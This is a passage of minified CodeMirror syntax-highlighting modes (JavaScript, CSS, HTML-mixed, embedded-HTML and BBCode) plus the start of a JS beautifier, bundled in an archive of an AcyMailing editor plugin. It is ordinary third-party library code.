.*?:|default:|\{|\})$/,blockCommentStart:z?null:"/*",blockCommentEnd:z?null:"*/",lineComment:z?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:z?"json":"javascript",jsonldMode:aB,jsonMode:z}});a.registerHelper("wordChars","javascript",/[\w$]/);a.defineMIME("text/javascript","javascript");a.defineMIME("text/ecmascript","javascript");a.defineMIME("application/javascript","javascript");a.defineMIME("application/x-javascript","javascript");a.defineMIME("application/ecmascript","javascript");a.defineMIME("application/json",{name:"javascript",json:true});a.defineMIME("application/x-json",{name:"javascript",json:true});a.defineMIME("application/ld+json",{name:"javascript",jsonld:true});a.defineMIME("text/typescript",{name:"javascript",typescript:true});a.defineMIME("application/typescript",{name:"javascript",typescript:true})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(p){p.defineMode("css",function(T,G){if(!G.propertyKeywords){G=p.resolveMode("text/css")}var M=T.indentUnit,y=G.tokenHooks,w=G.documentTypes||{},S=G.mediaTypes||{},I=G.mediaFeatures||{},F=G.propertyKeywords||{},z=G.nonStandardPropertyKeywords||{},B=G.fontProperties||{},R=G.counterDescriptors||{},L=G.colorKeywords||{},O=G.valueKeywords||{},J=G.allowNested;var A,K;function U(X,Y){A=Y;return X}function W(aa,Z){var Y=aa.next();if(y[Y]){var X=y[Y](aa,Z);if(X!==false){return X}}if(Y=="@"){aa.eatWhile(/[\w\\\-]/);return U("def",aa.current())}else{if(Y=="="||(Y=="~"||Y=="|")&&aa.eat("=")){return U(null,"compare")}else{if(Y=='"'||Y=="'"){Z.tokenize=H(Y);return Z.tokenize(aa,Z)}else{if(Y=="#"){aa.eatWhile(/[\w\\\-]/);return U("atom","hash")}else{if(Y=="!"){aa.match(/^\s*\w*/);return U("keyword","important")}else{if(/\d/.test(Y)||Y=="."&&aa.eat(/\d/)){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(Y==="-"){if(/[\d.]/.test(aa.peek())){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(aa.match(/^-[\w\\\-]+/)){aa.eatWhile(/[\w\\\-]/);if(aa.match(/^\s*:/,false)){return U("variable-2","variable-definition")}return U("variable-2","variable")}else{if(aa.match(/^\w+-/)){return U("meta","meta")}}}}else{if(/[,+>*\/]/.test(Y)){return U(null,"select-op")}else{if(Y=="."&&aa.match(/^-?[_a-z][_a-z0-9-]*/i)){return U("qualifier","qualifier")}else{if(/[:;{}\[\]\(\)]/.test(Y)){return U(null,Y)}else{if((Y=="u"&&aa.match(/rl(-prefix)?\(/))||(Y=="d"&&aa.match("omain("))||(Y=="r"&&aa.match("egexp("))){aa.backUp(1);Z.tokenize=V;return U("property","word")}else{if(/[\w\\\-]/.test(Y)){aa.eatWhile(/[\w\\\-]/);return U("property","word")}else{return U(null,null)}}}}}}}}}}}}}function H(X){return function(ab,Z){var aa=false,Y;while((Y=ab.next())!=null){if(Y==X&&!aa){if(X==")"){ab.backUp(1)}break}aa=!aa&&Y=="\\"}if(Y==X||!aa&&X!=")"){Z.tokenize=null}return U("string","string")}}function V(Y,X){Y.next();if(!Y.match(/\s*[\"\')]/,false)){X.tokenize=H(")")}else{X.tokenize=null}return U(null,"(")}function N(Y,X,Z){this.type=Y;this.indent=X;this.prev=Z}function D(Y,Z,X){Y.context=new N(X,Z.indentation()+M,Y.context);return X}function P(X){X.context=X.context.prev;return X.context.type}function x(X,Z,Y){return C[Y.context.type](X,Z,Y)}function Q(Y,aa,Z,ab){for(var X=ab||1;X>0;X--){Z.context=Z.context.prev}return x(Y,aa,Z)}function E(Y){var X=Y.current().toLowerCase();if(O.hasOwnProperty(X)){K="atom"}else{if(L.hasOwnProperty(X)){K="keyword"}else{K="variable"}}}var C={};C.top=function(X,Z,Y){if(X=="{"){return D(Y,Z,"block")}else{if(X=="}"&&Y.context.prev){return P(Y)}else{if(/@(media|supports|(-moz-)?document)/.test(X)){return D(Y,Z,"atBlock")}else{if(/@(font-face|counter-style)/.test(X)){Y.stateArg=X;return"restricted_atBlock_before"}else{if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(X)){return"keyframes"}else{if(X&&X.charAt(0)=="@"){return D(Y,Z,"at")}else{if(X=="hash"){K="builtin"}else{if(X=="word"){K="tag"}else{if(X=="variable-definition"){return"maybeprop"}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}else{if(X==":"){return"pseudo"}else{if(J&&X=="("){return D(Y,Z,"parens")}}}}}}}}}}}}return Y.context.type};C.block=function(X,aa,Y){if(X=="word"){var Z=aa.current().toLowerCase();if(F.hasOwnProperty(Z)){K="property";return"maybeprop"}else{if(z.hasOwnProperty(Z)){K="string-2";return"maybeprop"}else{if(J){K=aa.match(/^\s*:(?:\s|$)/,false)?"property":"tag";return"block"}else{K+=" error";return"maybeprop"}}}}else{if(X=="meta"){return"block"}else{if(!J&&(X=="hash"||X=="qualifier")){K="error";return"block"}else{return C.top(X,aa,Y)}}}};C.maybeprop=function(X,Z,Y){if(X==":"){return D(Y,Z,"prop")}return x(X,Z,Y)};C.prop=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"&&J){return D(Y,Z,"propBlock")}if(X=="}"||X=="{"){return Q(X,Z,Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="hash"&&!/^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/.test(Z.current())){K+=" error"}else{if(X=="word"){E(Z)}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}}}return"prop"};C.propBlock=function(Y,X,Z){if(Y=="}"){return P(Z)}if(Y=="word"){K="property";return"maybeprop"}return Z.context.type};C.parens=function(X,Z,Y){if(X=="{"||X=="}"){return Q(X,Z,Y)}if(X==")"){return P(Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="interpolation"){return D(Y,Z,"interpolation")}if(X=="word"){E(Z)}return"parens"};C.pseudo=function(X,Z,Y){if(X=="word"){K="variable-3";return Y.context.type}return x(X,Z,Y)};C.atBlock=function(X,aa,Y){if(X=="("){return D(Y,aa,"atBlock_parens")}if(X=="}"){return Q(X,aa,Y)}if(X=="{"){return P(Y)&&D(Y,aa,J?"block":"top")}if(X=="word"){var Z=aa.current().toLowerCase();if(Z=="only"||Z=="not"||Z=="and"||Z=="or"){K="keyword"}else{if(w.hasOwnProperty(Z)){K="tag"}else{if(S.hasOwnProperty(Z)){K="attribute"}else{if(I.hasOwnProperty(Z)){K="property"}else{if(F.hasOwnProperty(Z)){K="property"}else{if(z.hasOwnProperty(Z)){K="string-2"}else{if(O.hasOwnProperty(Z)){K="atom"}else{K="error"}}}}}}}}return Y.context.type};C.atBlock_parens=function(X,Z,Y){if(X==")"){return P(Y)}if(X=="{"||X=="}"){return Q(X,Z,Y,2)}return C.atBlock(X,Z,Y)};C.restricted_atBlock_before=function(X,Z,Y){if(X=="{"){return D(Y,Z,"restricted_atBlock")}if(X=="word"&&Y.stateArg=="@counter-style"){K="variable";return"restricted_atBlock_before"}return x(X,Z,Y)};C.restricted_atBlock=function(X,Z,Y){if(X=="}"){Y.stateArg=null;return P(Y)}if(X=="word"){if((Y.stateArg=="@font-face"&&!B.hasOwnProperty(Z.current().toLowerCase()))||(Y.stateArg=="@counter-style"&&!R.hasOwnProperty(Z.current().toLowerCase()))){K="error"}else{K="property"}return"maybeprop"}return"restricted_atBlock"};C.keyframes=function(X,Z,Y){if(X=="word"){K="variable";return"keyframes"}if(X=="{"){return D(Y,Z,"top")}return x(X,Z,Y)};C.at=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"||X=="}"){return Q(X,Z,Y)}if(X=="word"){K="tag"}else{if(X=="hash"){K="builtin"}}return"at"};C.interpolation=function(X,Z,Y){if(X=="}"){return P(Y)}if(X=="{"||X==";"){return Q(X,Z,Y)}if(X=="word"){K="variable"}else{if(X!="variable"&&X!="("&&X!=")"){K="error"}}return"interpolation"};return{startState:function(X){return{tokenize:null,state:"top",stateArg:null,context:new N("top",X||0,null)}},token:function(Z,Y){if(!Y.tokenize&&Z.eatSpace()){return null}var X=(Y.tokenize||W)(Z,Y);if(X&&typeof X=="object"){A=X[1];X=X[0]}K=X;Y.state=C[Y.state](A,Z,Y);return K},indent:function(ab,Z){var Y=ab.context,aa=Z&&Z.charAt(0);var X=Y.indent;if(Y.type=="prop"&&(aa=="}"||aa==")")){Y=Y.prev}if(Y.prev&&(aa=="}"&&(Y.type=="block"||Y.type=="top"||Y.type=="interpolation"||Y.type=="restricted_atBlock")||aa==")"&&(Y.type=="parens"||Y.type=="atBlock_parens")||aa=="{"&&(Y.type=="at"||Y.type=="atBlock"))){X=Y.indent-M;Y=Y.prev}return X},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace"}});function g(y){var x={};for(var w=0;w<y.length;++w){x[y[w]]=true}return x}var k=["domain","regexp","url","url-prefix"],a=g(k);var b=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],t=g(b);var v=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"],i=g(v);var d=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],h=g(d);var m=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],e=g(m);var r=["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],f=g(r);var o=["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"],s=g(o);var c=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],l=g(c);var j=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small"],q=g(j);var n=k.concat(b).concat(v).concat(d).concat(m).concat(c).concat(j);p.registerHelper("hintWords","css",n);function u(z,y){var w=false,x;while((x=z.next())!=null){if(w&&x=="/"){y.tokenize=null;break}w=(x=="*")}return["comment","comment"]}p.defineMIME("text/css",{documentTypes:a,mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,fontProperties:f,counterDescriptors:s,colorKeywords:l,valueKeywords:q,tokenHooks:{"/":function(x,w){if(!x.eat("*")){return false}w.tokenize=u;return u(x,w)}},name:"css"});p.defineMIME("text/x-scss",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},":":function(w){if(w.match(/\s*\{/)){return[null,"{"]}return false},"$":function(w){w.match(/^[\w-]+/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"#":function(w){if(!w.eat("{")){return false}return[null,"interpolation"]}},name:"css",helperType:"scss"});p.defineMIME("text/x-less",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},"@":function(w){if(w.eat("{")){return[null,"interpolation"]}if(w.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,false)){return false}w.eatWhile(/[\w\\\-]/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("htmlmixed",function(c,d){var b=a.getMode(c,{name:"xml",htmlMode:true,multilineTagIndentFactor:d.multilineTagIndentFactor,multilineTagIndentPastTag:d.multilineTagIndentPastTag});var n=a.getMode(c,"css");var l=[],k=d&&d.scriptTypes;l.push({matches:/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i,mode:a.getMode(c,"javascript")});if(k){for(var e=0;e<k.length;++e){var j=k[e];l.push({matches:j.matches,mode:j.mode&&a.getMode(c,j.mode)})}}l.push({matches:/./,mode:a.getMode(c,"text/plain")});function f(t,r){var p=r.htmlState.tagName;if(p){p=p.toLowerCase()}var q=b.token(t,r.htmlState);if(p=="script"&&/\btag\b/.test(q)&&t.current()==">"){var u=t.string.slice(Math.max(0,t.pos-100),t.pos).match(/\btype\s*=\s*("[^"]+"|'[^']+'|\S+)[^<]*$/i);u=u?u[1]:"";if(u&&/[\"\']/.test(u.charAt(0))){u=u.slice(1,u.length-1)}for(var o=0;o<l.length;++o){var s=l[o];if(typeof s.matches=="string"?u==s.matches:s.matches.test(u)){if(s.mode){r.token=m;r.localMode=s.mode;r.localState=s.mode.startState&&s.mode.startState(b.indent(r.htmlState,""))}break}}}else{if(p=="style"&&/\btag\b/.test(q)&&t.current()==">"){r.token=g;r.localMode=n;r.localState=n.startState(b.indent(r.htmlState,""))}}return q}function h(r,i,o){var q=r.current();var p=q.search(i);if(p>-1){r.backUp(q.length-p)}else{if(q.match(/<\/?$/)){r.backUp(q.length);if(!r.match(i,false)){r.match(q)}}}return o}function m(o,i){if(o.match(/^<\/\s*script\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*script\s*>/,i.localMode.token(o,i.localState))}function g(o,i){if(o.match(/^<\/\s*style\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*style\s*>/,n.token(o,i.localState))}return{startState:function(){var i=b.startState();return{token:f,localMode:null,localState:null,htmlState:i}},copyState:function(o){if(o.localState){var i=a.copyState(o.localMode,o.localState)}return{token:o.token,localMode:o.localMode,localState:i,htmlState:a.copyState(b,o.htmlState)}},token:function(o,i){return i.token(o,i)},indent:function(o,i){if(!o.localMode||/^\s*<\//.test(i)){return b.indent(o.htmlState,i)}else{if(o.localMode.indent){return o.localMode.indent(o.localState,i)}else{return a.Pass}}},innerMode:function(i){return{state:i.localState||i.htmlState,mode:i.localMode||b}}}},"xml","javascript","css");a.defineMIME("text/html","htmlmixed")});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../../addon/mode/multiplex"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../htmlmixed/htmlmixed","../../addon/mode/multiplex"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("htmlembedded",function(b,c){return a.multiplexingMode(a.getMode(b,"htmlmixed"),{open:c.open||c.scriptStartRegex||"<%",close:c.close||c.scriptEndRegex||"%>",mode:a.getMode(b,c.scriptingModeSpec)})},"htmlmixed");a.defineMIME("application/x-ejs",{name:"htmlembedded",scriptingModeSpec:"javascript"});a.defineMIME("application/x-aspx",{name:"htmlembedded",scriptingModeSpec:"text/x-csharp"});a.defineMIME("application/x-jsp",{name:"htmlembedded",scriptingModeSpec:"text/x-java"});a.defineMIME("application/x-erb",{name:"htmlembedded",scriptingModeSpec:"ruby"})});
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.b000060400000003652152455305300031505 0ustar00com_acymailingCodeMirror.defineMode("bbcode",function(b){var e,a,g;e={bbCodeTags:"b i u s img quote code list table  tr td size color url",bbCodeUnaryTags:"* :-) hr cut"};if(b.hasOwnProperty("bbCodeTags")){e.bbCodeTags=b.bbCodeTags}if(b.hasOwnProperty("bbCodeUnaryTags")){e.bbCodeUnaryTags=b.bbCodeUnaryTags}var f={cont:function(i,h){g=h;return i},escapeRegEx:function(h){return h.replace(/([\:\-\)\(\*\+\?\[\]])/g,"\\$1")}};var d={validIdentifier:/[a-zA-Z0-9_]/,stringChar:/['"]/,tags:new RegExp("(?:"+f.escapeRegEx(e.bbCodeTags).split(" ").join("|")+")"),unaryTags:new RegExp("(?:"+f.escapeRegEx(e.bbCodeUnaryTags).split(" ").join("|")+")")};var c={tokenizer:function(i,h){if(i.eatSpace()){return null}if(i.match("[",true)){h.tokenize=c.bbcode;return f.cont("tag","startTag")}i.next();return null},inAttribute:function(h){return function(k,i){var l=null;var j=null;while(!k.eol()){j=k.peek();if(k.next()==h&&l!=="\\"){i.tokenize=c.bbcode;break}l=j}return"string"}},bbcode:function(k,i){if(a=k.match("]",true)){i.tokenize=c.tokenizer;return f.cont("tag",null)}if(k.match("[",true)){return f.cont("tag","startTag")}var h=k.next();if(d.stringChar.test(h)){i.tokenize=c.inAttribute(h);return f.cont("string","string")}else{if(/\d/.test(h)){k.eatWhile(/\d/);return f.cont("number","number")}else{if(i.last=="whitespace"){k.eatWhile(d.validIdentifier);return f.cont("attribute","modifier")}if(i.last=="property"){k.eatWhile(d.validIdentifier);return f.cont("property",null)}else{if(/\s/.test(h)){g="whitespace";return null}}var j="";if(h!="/"){j+=h}var l=null;while(l=k.eat(d.validIdentifier)){j+=l}if(d.unaryTags.test(j)){return f.cont("atom","atom")}if(d.tags.test(j)){return f.cont("keyword","keyword")}if(/\s/.test(h)){return null}return f.cont("tag","tag")}}}};return{startState:function(){return{tokenize:c.tokenizer,mode:"bbcode",last:null}},token:function(j,i){var h=i.tokenize(j,i);i.last=g;return h},electricChars:""}});CodeMirror.defineMIME("text/x-bbcode","bbcode");
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/beautify.min.js000060400000111114152455305300031173 0ustar00com_acymailing(function(){function n(n,t){for(var i=0;i<t.length;i+=1)if(t[i]===n)return!0;return!1}function f(n){return n.replace(/^\s+|\s+$/g,"")}function r(n,t){"use strict";var i=new e(n,t);return i.beautify()}function e(i,r){"use strict";function yt(n,t){var i=0;return n&&(i=n.indentation_level,!l.just_added_newline()&&n.line_indent_level>i&&(i=n.line_indent_level)),{mode:t,parent:n,last_text:n?n.last_text:"",last_word:n?n.last_word:"",declaration_statement:!1,declaration_assignment:!1,multiline_frame:!1,if_block:!1,else_block:!1,do_block:!1,do_while:!1,in_case_statement:!1,in_case:!1,case_body:!1,indentation_level:i,line_indent_level:n?n.line_indent_level:i,start_line_index:l.get_line_number(),ternary_depth:0}}function pt(n){var i=n.newlines,r=c.keep_array_indentation&&d(u.mode),t;if(r)for(t=0;t<i;t+=1)a(t>0);else if(c.max_preserve_newlines&&i>c.max_preserve_newlines&&(i=c.max_preserve_newlines),c.preserve_newlines&&n.newlines>1)for(a(),t=1;t<i;t+=1)a(!0);e=n;at[e.type]()}function bt(n){n=n.replace(/\x0d/g,"");for(var i=[],t=n.indexOf("\n");t!==-1;)i.push(n.substring(0,t)),n=n.substring(t+1),t=n.indexOf("\n");return n.length&&i.push(n),i}function 